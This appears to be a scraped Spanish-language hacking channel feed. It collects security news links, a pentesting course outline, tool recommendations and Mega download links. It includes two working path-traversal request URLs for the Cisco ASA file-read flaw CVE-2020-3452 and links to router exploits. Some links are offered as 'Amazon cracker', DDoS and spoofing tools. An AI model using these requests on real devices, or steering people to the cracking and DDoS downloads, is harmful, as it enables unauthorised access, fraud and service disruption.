Xataka: 9 sistemas operativos alternativos que no son ni Windows, ni macOS, ni Linux.
https://www.xataka.com/aplicaciones/9-sistemas-operativos-alternativos-que-no-windows-macos-linux

Wireshark Cheat Sheet

Grupo de hackers iraníes publica por accidente sus vídeos de ‘entrenamiento’

https://unaaldia.hispasec.com/2020/07/grupo-de-hackers-iranies-publica-por-accidente-sus-videos-de-entrenamiento.html

Backtrackacademy - Aprende Pentesting Avanzado

—---------------------------------------------------------------------------------------—

Una sección creada por el equipo de backtrackacademy llamada #HackOfTheWeek ven y aprende técnicas de hacking avanzado.



1. Análisis forense Recuperar archivos borrados
2. Post – Explotacion Redirrecionando paginas web
3. Instalando, configurando y ejecutando el emulador de Android en Linux
4. Configurando nuestra camara web como un medio de video
5. Evasión de antivirus mediante la modificación de firmas
6. Pentest a Windows 7, cuando los exploits y la ingeniería social
7. Pentesting sobre aplicaciones Web
8. Programando en ensamblador y uso del debugger gdb
9. Creando nuestro propio sniffer con scapy
10. Creando una botnet y Analisis de malware
11. Creando Access Point falsos
12. Bypass Windows
13. Explotando la vulnerabilidad 'Shellshock'
14. Ingeniería inversa en Linux
15. Explotando el heartbleed
16. ¿Cómo vulnerar Windows 8 completamente protegido?
17. Filtrando Exploits en Metasploit
18. Bit setuid

—---------------------------------------------------------------------------------------—

Descarga:

https://mega.nz/#!qBQ2BApY!Hd2NpSjUTrG2tWIJ9jsSvMp0PB5TwAnNmeH5YXCsy8I

Network Hardware Vulnerabilities:
1. CVE-2020-3452:
Unauthenticated file read in Cisco ASA & Cisco Firepower
Poc1:
For example to read "/+CSCOE+/portal_inc.lua" file. https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
PoC2:
https://<domain>/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
2. CVE-2020-15498/15499:
ASUS RT-AC1900P Router Vulnerability
https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=27440
3. CVE-2020-9376/9377:
D-Link DIR-610 - RCE via the cmd parameter to command.php/Information Disclosure
PoC:
https://github.com/renatoalencar/dlink-dir610-exploits
4. DLink Leaks Firmware Encryption Key (PoC)
https://nstarke.github.io/0036-decrypting-dlink-proprietary-firmware-images.html

En esta ocasión, os enseño a resolver el Buffer Overflow que cae en la certificación OSCP. Este ejercicio es uno de los más temidos por muchos, pero hay que considerar que si lo controlas... tienes 25 puntos regalados en el examen.

Os enseñaré trucos y tips para agilizar la creación de vuestro exploit, comentando todos los casos que os pueden tocar y las complicaciones que podéis tener, mostrando cómo solucionar cada uno de estos problemas. La idea del vídeo es que desde que lo terminéis, os sintáis seguros para abordar este ejercicio y empecéis con buen pie el examen.

https://www.youtube.com/watch?v=sdZ8aE7yxMk

Hackers norcoreanos usan un nuevo ‘framework’ de malware multiplataforma

https://unaaldia.hispasec.com/2020/07/hackers-norcoreanos-usan-un-nuevo-framework-de-malware-multiplataforma.html

📃 "La mitad de las aplicaciones de banca móvil son vulnerables" Positive Technologies https://blog.segu-info.com.ar/2020/06/la-mitad-de-las-aplicaciones-de-banca.html

📃 "R3CON1Z3R, Footprinting de una Web" https://pixelmuerto.com/post/620341014138372096/r3con1z3r-footprinting-de-una-web

Conoce SQLMap, la herramienta por excelencia para automatizar inyecciones sql.

SQLMap es una herramienta desarrollada en python para realizar inyección de código sql automáticamente.https://t.co/LwVbcSmkQN pic.twitter.com/OiVzP07NF2 Seguridad Informática

In case you haven't tried it yet...

Linux/FreeBSD users can use this open-source vulnerability scanner to identify vulnerable software installed on a system.

https://github.com/future-architect/vuls

It uses multiple vulnerability databases, including NVD, JVN, OVAL, RHSA/ALAS/ELSA/FreeBSD-SA.

🔷Pentesting con kali linux🔷

https://mega.nz/?fbclid=IwAR2pI495xLtayWbh84sdTwntli1aHE2Y1l6ECYYKu7kwaCoug7hTAMvwvlg#!MAAVSChJ!J73CAvyHFY8zc0riBpUFq4F5cy_M6asEDDVvXlFPNaU

🔷Metasploit🔷

https://mega.nz/#F!tRQjDKoI!9GCkSTmfKWGDAuGburPErg

🔷TCP-UDP🔷

https://mega.nz/#F!5YIlhSoI!DASr8x915lgzXPUaULd5Lw

🔷Capas de red curso🔷

https://mega.nz/#F!ZcBHGQDZ!I6WdSLZTGx5wQKBkG2WBRQ

🔷Herramientas Hacking VW_cv9Tools🔷

https://mega.nz/#F!EVIjmaTb!k6FIC8XimyH-SXBIXE23ug

🔷Amazon cracker🔷

https://mega.nz/#F!9JQl2CRC!h-E-LflUV7K6oWOydTOOCw

🔷Spoofers🔷

https://mega.nz/#F!MMZBmS7T!qnVmdJdpoS_2Gv5GGSNqdg

🔷DDOS🔷

https://mega.nz/#F!8VBxBaiY!xWL8RxlAFCPMcNnjPjx2UA

🔷Man In The Middle🔷

https://mega.nz/#F!pRJHhIRb!oNQm5i6P2_uQqHO3NYM7Yg

Nueva botnet de minería de criptomonedas utiliza exploit SMB para infectar equipos

https://unaaldia.hispasec.com/2020/07/nueva-botnet-de-mineria-de-criptomonedas-utiliza-exploit-smb-para-infectar-equipos.html

Garmin infectado por WastedLocker

https://unaaldia.hispasec.com/2020/07/garmin-infectado-por-wastedlocker.html

Reparación de portatiles.

Curso de reparación de Laptops profesional®️🎭
Peso 7.23 GB

Link

https://mega.nz/folder/VshRFB5R#tkgPBN9WTTWYBW8JAxaXmA

Malware en Mac: la aplicación Kattana es suplantada por atacantes

https://unaaldia.hispasec.com/2020/07/malware-en-mac-la-aplicacion-kattana-es-suplantada-por-atacantes.html

Memory corruption/NULL pointer dereference/Stack exhaustion vulnerabilities found in MikroTik's RouterOS (PoCs)
https://seclists.org/fulldisclosure/2020/Jul/32

2GB+ E-Books About HACKING, CCNA, LINUX, WIRELESS, CYBER SECURITY, CEH. 🔰



https://mega.nz/#F!UIUwFA7B!Ua10d2PvdkOzbDgkwVy-fA